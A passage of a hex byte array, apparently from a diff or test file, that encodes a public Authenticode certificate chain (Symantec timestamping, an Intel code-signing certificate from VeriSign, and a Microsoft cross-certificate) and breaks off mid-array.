0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x02, 0x30, 0x00, 0x30, 0x16, 0x06, 0x03, 0x55, 0x1D, 0x25, + 0x01, 0x01, 0xFF, 0x04, 0x0C, 0x30, 0x0A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x07, 0x80, 0x30, 0x73, 0x06, 0x08, 0x2B, 0x06, 0x01, + 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x67, 0x30, 0x65, 0x30, 0x2A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x1E, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x74, 0x73, 0x2D, 0x6F, 0x63, 0x73, 0x70, 0x2E, 0x77, 0x73, + 0x2E, 0x73, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x37, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x2B, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x74, 0x73, 0x2D, 0x61, 0x69, 0x61, + 0x2E, 0x77, 0x73, 0x2E, 0x73, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x74, 0x73, 0x73, 0x2D, 0x63, 0x61, 0x2D, 0x67, 0x32, 0x2E, 0x63, 0x65, 0x72, 0x30, 0x3C, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x35, 0x30, + 0x33, 0x30, 0x31, 0xA0, 0x2F, 0xA0, 0x2D, 0x86, 0x2B, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x74, 0x73, 0x2D, 0x63, 0x72, 0x6C, 0x2E, 0x77, 0x73, 0x2E, 0x73, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x74, + 0x73, 0x73, 0x2D, 0x63, 0x61, 0x2D, 0x67, 0x32, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x28, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x21, 0x30, 0x1F, 0xA4, 0x1D, 0x30, 0x1B, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x10, 0x54, 0x69, + 0x6D, 0x65, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x2D, 0x32, 0x30, 0x34, 0x38, 0x2D, 0x32, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x46, 0xC6, 0x69, 0xA3, 0x0E, 0x4A, 0x14, 0x1E, 0xD5, 0x4C, 0xDA, 0x52, 0x63, 0x17, 0x3F, + 0x5E, 0x36, 0xBC, 0x0D, 0xE6, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x5F, 0x9A, 0xF5, 0x6E, 0x5C, 0xCC, 0xCC, 0x74, 0x9A, 0xD4, 0xDD, 0x7D, 0xEF, 0x3F, 0xDB, 0xEC, 0x4C, 0x80, 0x2E, 0xDD, 0x30, 0x0D, + 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x78, 0x3B, 0xB4, 0x91, 0x2A, 0x00, 0x4C, 0xF0, 0x8F, 0x62, 0x30, 0x37, 0x78, 0xA3, 0x84, 0x27, 0x07, 0x6F, 0x18, 0xB2, 0xDE, 0x25, + 0xDC, 0xA0, 0xD4, 0x94, 0x03, 0xAA, 0x86, 0x4E, 0x25, 0x9F, 0x9A, 0x40, 0x03, 0x1C, 0xDD, 0xCE, 0xE3, 0x79, 0xCB, 0x21, 0x68, 0x06, 0xDA, 0xB6, 0x32, 0xB4, 0x6D, 0xBF, 0xF4, 0x2C, 0x26, 0x63, 0x33, 0xE4, 0x49, 0x64, 0x6D, 0x0D, 0xE6, 0xC3, + 0x67, 0x0E, 0xF7, 0x05, 0xA4, 0x35, 0x6C, 0x7C, 0x89, 0x16, 0xC6, 0xE9, 0xB2, 0xDF, 0xB2, 0xE9, 0xDD, 0x20, 0xC6, 0x71, 0x0F, 0xCD, 0x95, 0x74, 0xDC, 0xB6, 0x5C, 0xDE, 0xBD, 0x37, 0x1F, 0x43, 0x78, 0xE6, 0x78, 0xB5, 0xCD, 0x28, 0x04, 0x20, + 0xA3, 0xAA, 0xF1, 0x4B, 0xC4, 0x88, 0x29, 0x91, 0x0E, 0x80, 0xD1, 0x11, 0xFC, 0xDD, 0x5C, 0x76, 0x6E, 0x4F, 0x5E, 0x0E, 0x45, 0x46, 0x41, 0x6E, 0x0D, 0xB0, 0xEA, 0x38, 0x9A, 0xB1, 0x3A, 0xDA, 0x09, 0x71, 0x10, 0xFC, 0x1C, 0x79, 0xB4, 0x80, + 0x7B, 0xAC, 0x69, 0xF4, 0xFD, 0x9C, 0xB6, 0x0C, 0x16, 0x2B, 0xF1, 0x7F, 0x5B, 0x09, 0x3D, 0x9B, 0x5B, 0xE2, 0x16, 0xCA, 0x13, 0x81, 0x6D, 0x00, 0x2E, 0x38, 0x0D, 0xA8, 0x29, 0x8F, 0x2C, 0xE1, 0xB2, 0xF4, 0x5A, 0xA9, 0x01, 0xAF, 0x15, 0x9C, + 0x2C, 0x2F, 0x49, 0x1B, 0xDB, 0x22, 0xBB, 0xC3, 0xFE, 0x78, 0x94, 0x51, 0xC3, 0x86, 0xB1, 0x82, 0x88, 0x5D, 0xF0, 0x3D, 0xB4, 0x51, 0xA1, 0x79, 0x33, 0x2B, 0x2E, 0x7B, 0xB9, 0xDC, 0x20, 0x09, 0x13, 0x71, 0xEB, 0x6A, 0x19, 0x5B, 0xCF, 0xE8, + 0xA5, 0x30, 0x57, 0x2C, 0x89, 0x49, 0x3F, 0xB9, 0xCF, 0x7F, 0xC9, 0xBF, 0x3E, 0x22, 0x68, 0x63, 0x53, 0x9A, 0xBD, 0x69, 0x74, 0xAC, 0xC5, 0x1D, 0x3C, 0x7F, 0x92, 0xE0, 0xC3, 0xBC, 0x1C, 0xD8, 0x04, 0x75, 0x30, 0x82, 0x05, 0x85, 0x30, 0x82, + 0x04, 0x6D, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x27, 0x76, 0xAB, 0x5C, 0xF2, 0xD0, 0x98, 0x72, 0xF1, 0xAD, 0x05, 0xFB, 0xC3, 0xF2, 0x1A, 0x87, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, + 0x30, 0x81, 0xB4, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, + 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3B, 0x30, 0x39, 0x06, 0x03, + 0x55, 0x04, 0x0B, 0x13, 0x32, 0x54, 0x65, 0x72, 0x6D, 0x73, 0x20, 0x6F, 0x66, 0x20, 0x75, 0x73, 0x65, 0x20, 0x61, 0x74, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, + 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x70, 0x61, 0x20, 0x28, 0x63, 0x29, 0x31, 0x30, 0x31, 0x2E, 0x30, 0x2C, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x25, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, + 0x20, 0x33, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x32, 0x30, 0x31, 0x30, 0x20, 0x43, 0x41, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x32, 0x30, 0x35, 0x31, 0x37, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, + 0x17, 0x0D, 0x31, 0x35, 0x30, 0x35, 0x33, 0x30, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, 0x81, 0xC8, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x03, 0x55, 0x04, 0x08, + 0x13, 0x06, 0x4F, 0x72, 0x65, 0x67, 0x6F, 0x6E, 0x31, 0x12, 0x30, 0x10, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x09, 0x48, 0x69, 0x6C, 0x6C, 0x73, 0x62, 0x6F, 0x72, 0x6F, 0x31, 0x1A, 0x30, 0x18, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x14, 0x11, 0x49, + 0x6E, 0x74, 0x65, 0x6C, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x3E, 0x30, 0x3C, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x35, 0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6C, 0x20, 0x49, 0x44, 0x20, 0x43, 0x6C, + 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x2D, 0x20, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x53, 0x6F, 0x66, 0x74, 0x77, 0x61, 0x72, 0x65, 0x20, 0x56, 0x61, 0x6C, 0x69, 0x64, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x32, + 0x31, 0x1C, 0x30, 0x1A, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x14, 0x13, 0x4C, 0x41, 0x4E, 0x20, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, 0x44, 0x69, 0x76, 0x69, 0x73, 0x69, 0x6F, 0x6E, 0x31, 0x1A, 0x30, 0x18, 0x06, 0x03, 0x55, 0x04, 0x03, 0x14, + 0x11, 0x49, 0x6E, 0x74, 0x65, 0x6C, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, + 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xCB, 0xDF, 0xCA, 0xB1, 0x05, 0x69, 0x2C, 0xD7, 0x33, 0x04, 0x30, 0x88, 0xBF, 0x2B, 0x0B, 0xF6, 0xCC, 0x3D, 0x06, 0x98, 0xDD, 0x4A, 0x1D, 0xD4, 0xE3, 0x65, 0x0B, 0x1F, 0xF8, + 0x6A, 0x6A, 0x1E, 0xA4, 0x77, 0x6C, 0x92, 0xF4, 0x91, 0x65, 0x64, 0xB3, 0xF1, 0xE2, 0xEE, 0xEC, 0x0E, 0x30, 0x7F, 0xF3, 0xAE, 0x6A, 0xE2, 0x2B, 0xF8, 0x87, 0xA2, 0x33, 0xA9, 0x04, 0x48, 0x6D, 0x6A, 0xF7, 0xEB, 0x93, 0xD0, 0xD7, 0x51, 0x67, + 0xE3, 0x03, 0x89, 0xAD, 0xFD, 0x0C, 0x11, 0x8A, 0x30, 0xC9, 0x31, 0x43, 0xF2, 0x53, 0xE3, 0xCB, 0x12, 0x6C, 0x5F, 0x95, 0x50, 0x05, 0x79, 0xAB, 0x97, 0x44, 0x00, 0x45, 0x47, 0xCB, 0xE9, 0x39, 0x4E, 0x4D, 0xB4, 0x84, 0x19, 0x4A, 0x3A, 0xA0, + 0xD8, 0xD1, 0x21, 0xCA, 0x92, 0x88, 0x7D, 0x30, 0x91, 0x1E, 0x5B, 0x68, 0x69, 0x4D, 0x66, 0xEA, 0xE7, 0x49, 0x26, 0xFB, 0xEE, 0x11, 0x0E, 0x5E, 0x15, 0x5F, 0x84, 0xD9, 0x24, 0xF9, 0x26, 0xB1, 0xA8, 0x1C, 0x84, 0x0D, 0x41, 0xE9, 0xFD, 0x8C, + 0x8B, 0x59, 0xCF, 0xC1, 0x6E, 0x1E, 0xD4, 0xC2, 0x47, 0x34, 0xA1, 0xA6, 0xB4, 0xF3, 0xEC, 0x1A, 0xC3, 0xF3, 0x83, 0xE2, 0xED, 0xC9, 0x95, 0xF4, 0xBD, 0x49, 0x82, 0x59, 0xC3, 0xE9, 0x9B, 0xE0, 0x41, 0x2E, 0xA0, 0xE5, 0x4D, 0x6C, 0xE2, 0xE9, + 0x8B, 0xFE, 0xBF, 0x05, 0xE1, 0x0B, 0x35, 0x5C, 0x51, 0xCA, 0xCA, 0xD4, 0x83, 0x22, 0xC6, 0xC9, 0x8A, 0x37, 0x1B, 0x18, 0xBF, 0x93, 0x0C, 0x6A, 0xF0, 0xDA, 0xF4, 0x08, 0x46, 0x94, 0xF5, 0x0B, 0xBB, 0xF3, 0x1F, 0x64, 0x31, 0xD9, 0xE7, 0x07, + 0x71, 0xB4, 0x98, 0xFD, 0x73, 0x1F, 0xC7, 0xB9, 0x93, 0x3F, 0xD2, 0x88, 0x5D, 0xE9, 0xF9, 0x2C, 0x09, 0x03, 0x7E, 0x07, 0x73, 0x56, 0x00, 0xF1, 0xEF, 0x04, 0x7F, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, 0x7B, 0x30, 0x82, 0x01, 0x77, + 0x30, 0x09, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x04, 0x02, 0x30, 0x00, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x07, 0x80, 0x30, 0x40, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x39, 0x30, 0x37, 0x30, 0x35, + 0xA0, 0x33, 0xA0, 0x31, 0x86, 0x2F, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x73, 0x63, 0x33, 0x2D, 0x32, 0x30, 0x31, 0x30, 0x2D, 0x63, 0x72, 0x6C, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, + 0x43, 0x53, 0x43, 0x33, 0x2D, 0x32, 0x30, 0x31, 0x30, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x44, 0x06, 0x03, 0x55, 0x1D, 0x20, 0x04, 0x3D, 0x30, 0x3B, 0x30, 0x39, 0x06, 0x0B, 0x60, 0x86, 0x48, 0x01, 0x86, 0xF8, 0x45, 0x01, 0x07, 0x17, 0x03, 0x30, + 0x2A, 0x30, 0x28, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x1C, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, + 0x72, 0x70, 0x61, 0x30, 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x0C, 0x30, 0x0A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x71, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x65, 0x30, 0x63, + 0x30, 0x24, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x18, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x6F, 0x63, 0x73, 0x70, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x3B, + 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x2F, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x73, 0x63, 0x33, 0x2D, 0x32, 0x30, 0x31, 0x30, 0x2D, 0x61, 0x69, 0x61, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, + 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x43, 0x53, 0x43, 0x33, 0x2D, 0x32, 0x30, 0x31, 0x30, 0x2E, 0x63, 0x65, 0x72, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0xCF, 0x99, 0xA9, 0xEA, 0x7B, 0x26, 0xF4, 0x4B, + 0xC9, 0x8E, 0x8F, 0xD7, 0xF0, 0x05, 0x26, 0xEF, 0xE3, 0xD2, 0xA7, 0x9D, 0x30, 0x11, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x86, 0xF8, 0x42, 0x01, 0x01, 0x04, 0x04, 0x03, 0x02, 0x04, 0x10, 0x30, 0x16, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, + 0x82, 0x37, 0x02, 0x01, 0x1B, 0x04, 0x08, 0x30, 0x06, 0x01, 0x01, 0x00, 0x01, 0x01, 0xFF, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x28, 0x5F, 0xE6, 0x26, 0xBD, + 0xCC, 0x91, 0x18, 0x25, 0x09, 0x75, 0x5E, 0xD3, 0x8B, 0xEE, 0x90, 0x1A, 0x39, 0x5D, 0x2F, 0x11, 0xB1, 0x4E, 0xB7, 0x85, 0x7C, 0xB9, 0xB3, 0x62, 0x4A, 0xFA, 0xDE, 0xE4, 0x23, 0xA0, 0x7C, 0xCA, 0x07, 0x80, 0x4C, 0xD5, 0x1A, 0x29, 0x97, 0x16, + 0xB3, 0xBD, 0x12, 0x7C, 0x84, 0xE6, 0xD8, 0x27, 0xDD, 0x78, 0x6B, 0x29, 0x96, 0x4A, 0xEE, 0x3B, 0x6D, 0xD0, 0x19, 0x3D, 0x36, 0x68, 0x13, 0xFF, 0x62, 0xAB, 0x31, 0xF6, 0x1E, 0x2C, 0x37, 0xBD, 0xA7, 0xA2, 0xCD, 0x4C, 0x19, 0xA8, 0x77, 0xCD, + 0x41, 0x0D, 0xCD, 0x06, 0x6A, 0xCE, 0xFA, 0x70, 0x13, 0xE4, 0x74, 0x36, 0xB8, 0xB4, 0x27, 0x02, 0x38, 0xDB, 0xF6, 0x31, 0xA4, 0x90, 0x7C, 0x38, 0x0F, 0x23, 0x97, 0xED, 0xA3, 0xA0, 0x13, 0xD8, 0xD3, 0xD0, 0x06, 0xA1, 0x5B, 0x58, 0x1E, 0xDF, + 0x94, 0x6D, 0x7C, 0xC1, 0x68, 0x96, 0xD2, 0xAF, 0x8E, 0x79, 0x98, 0x18, 0x02, 0x55, 0x5B, 0x12, 0xBB, 0x1B, 0x17, 0x7F, 0x7E, 0x9A, 0x85, 0xC0, 0xC9, 0x2B, 0x8A, 0xF3, 0xD4, 0x23, 0xEC, 0xBD, 0x85, 0x8A, 0x1A, 0xA0, 0xD8, 0xFA, 0xCE, 0x73, + 0x8F, 0x4F, 0x49, 0x34, 0xB2, 0xA0, 0xF9, 0x65, 0x4D, 0xB4, 0xCC, 0x1E, 0x38, 0x8A, 0xFA, 0xD6, 0x99, 0x37, 0x1E, 0x83, 0x99, 0x2B, 0xD3, 0x17, 0xDE, 0x8A, 0xE0, 0xDC, 0xE9, 0xDF, 0x2F, 0x6D, 0xE6, 0x01, 0x91, 0xAF, 0x44, 0x62, 0xEC, 0xA8, + 0xA2, 0xBA, 0x30, 0xE8, 0xB2, 0x03, 0xB6, 0x8B, 0xFF, 0x09, 0xF4, 0x75, 0x3C, 0xFB, 0xED, 0xBF, 0x41, 0xA6, 0x4F, 0x1E, 0x0C, 0xC9, 0x99, 0xF9, 0x0C, 0x83, 0xDC, 0x30, 0x62, 0xDD, 0x62, 0xDD, 0x46, 0x77, 0x3F, 0x8E, 0x93, 0xD1, 0x05, 0x1F, + 0x19, 0xA2, 0x9A, 0x97, 0x37, 0x7C, 0x1D, 0x0B, 0xEE, 0x7F, 0x39, 0x30, 0x82, 0x05, 0x9A, 0x30, 0x82, 0x03, 0x82, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x0A, 0x61, 0x19, 0x93, 0xE4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x30, 0x0D, 0x06, 0x09, + 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x7F, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, + 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, + 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x20, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, + 0x64, 0x65, 0x20, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x52, 0x6F, 0x6F, 0x74, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x31, 0x30, 0x32, 0x32, 0x32, 0x31, 0x39, 0x32, 0x35, 0x31, 0x37, 0x5A, 0x17, 0x0D, 0x32, + 0x31, 0x30, 0x32, 0x32, 0x32, 0x31, 0x39, 0x33, 0x35, 0x31, 0x37, 0x5A, 0x30, 0x81, 0xCA, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, + 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, + 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3A, 0x30, 0x38, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x31, 0x28, 0x63, 0x29, 0x20, 0x32, 0x30, 0x30, 0x36, 0x20, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, + 0x20, 0x2D, 0x20, 0x46, 0x6F, 0x72, 0x20, 0x61, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x7A, 0x65, 0x64, 0x20, 0x75, 0x73, 0x65, 0x20, 0x6F, 0x6E, 0x6C, 0x79, 0x31, 0x45, 0x30, 0x43, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x3C, 0x56, 0x65, 0x72, + 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x50, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6F, 0x6E, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x74, 0x79, 0x20, 0x2D, 0x20, 0x47, 0x35, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, + 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xAF, 0x24, 0x08, 0x08, 0x29, 0x7A, 0x35, 0x9E, 0x60, 0x0C, 0xAA, 0xE7, 0x4B, 0x3B, 0x4E, 0xDC, 0x7C, 0xBC, 0x3C, 0x45, 0x1C, 0xBB, 0x2B, 0xE0, 0xFE, 0x29, 0x02, 0xF9, 0x57, 0x08, + 0xA3, 0x64, 0x85, 0x15, 0x27, 0xF5, 0xF1, 0xAD, 0xC8, 0x31, 0x89, 0x5D, 0x22, 0xE8, 0x2A, 0xAA, 0xA6, 0x42, 0xB3, 0x8F, 0xF8, 0xB9, 0x55, 0xB7, 0xB1, 0xB7, 0x4B, 0xB3, 0xFE, 0x8F, 0x7E, 0x07, 0x57, 0xEC, 0xEF, 0x43, 0xDB, 0x66, 0x62, 0x15, + 0x61, 0xCF, 0x60, 0x0D, 0xA4, 0xD8, 0xDE, 0xF8, 0xE0, 0xC3, 0x62, 0x08, 0x3D, 0x54, 0x13, 0xEB, 0x49, 0xCA, 0x59, 0x54, 0x85, 0x26, 0xE5, 0x2B, 0x8F, 0x1B, 0x9F, 0xEB, 0xF5, 0xA1, 0x91, 0xC2, 0x33, 0x49, 0xD8, 0x43, 0x63, 0x6A, 0x52, 0x4B, + 0xD2, 0x8F, 0xE8, 0x70, 0x51, 0x4D, 0xD1, 0x89, 0x69, 0x7B, 0xC7, 0x70, 0xF6, 0xB3, 0xDC, 0x12, 0x74, 0xDB, 0x7B, 0x5D, 0x4B, 0x56, 0xD3, 0x96, 0xBF, 0x15, 0x77, 0xA1, 0xB0, 0xF4, 0xA2, 0x25, 0xF2, 0xAF, 0x1C, 0x92, 0x67, 0x18, 0xE5, 0xF4, + 0x06, 0x04, 0xEF, 0x90, 0xB9, 0xE4, 0x00, 0xE4, 0xDD, 0x3A, 0xB5, 0x19, 0xFF, 0x02, 0xBA, 0xF4, 0x3C, 0xEE, 0xE0, 0x8B, 0xEB, 0x37, 0x8B, 0xEC, 0xF4, 0xD7, 0xAC, 0xF2, 0xF6, 0xF0, 0x3D, 0xAF, 0xDD, 0x75, 0x91, 0x33, 0x19, 0x1D, 0x1C, 0x40, + 0xCB, 0x74, 0x24, 0x19, 0x21, 0x93, 0xD9, 0x14, 0xFE, 0xAC, 0x2A, 0x52, 0xC7, 0x8F, 0xD5, 0x04, 0x49, 0xE4, 0x8D, 0x63, 0x47, 0x88, 0x3C, 0x69, 0x83, 0xCB, 0xFE, 0x47, 0xBD, 0x2B, 0x7E, 0x4F, 0xC5, 0x95, 0xAE, 0x0E, 0x9D, 0xD4, 0xD1, 0x43, + 0xC0, 0x67, 0x73, 0xE3, 0x14, 0x08, 0x7E, 0xE5, 0x3F, 0x9F, 0x73, 0xB8, 0x33, 0x0A, 0xCF, 0x5D, 0x3F, 0x34, 0x87, 0x96, 0x8A, 0xEE, 0x53, 0xE8, 0x25, 0x15, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x81, 0xCB, 0x30, 0x81, 0xC8, 0x30, 0x11, 0x06, + 0x03, 0x55, 0x1D, 0x20, 0x04, 0x0A, 0x30, 0x08, 0x30, 0x06, 0x06, 0x04, 0x55, 0x1D, 0x20, 0x00, 0x30, 0x0F, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xFF, 0x30, 0x0B, 0x06, 0x03, 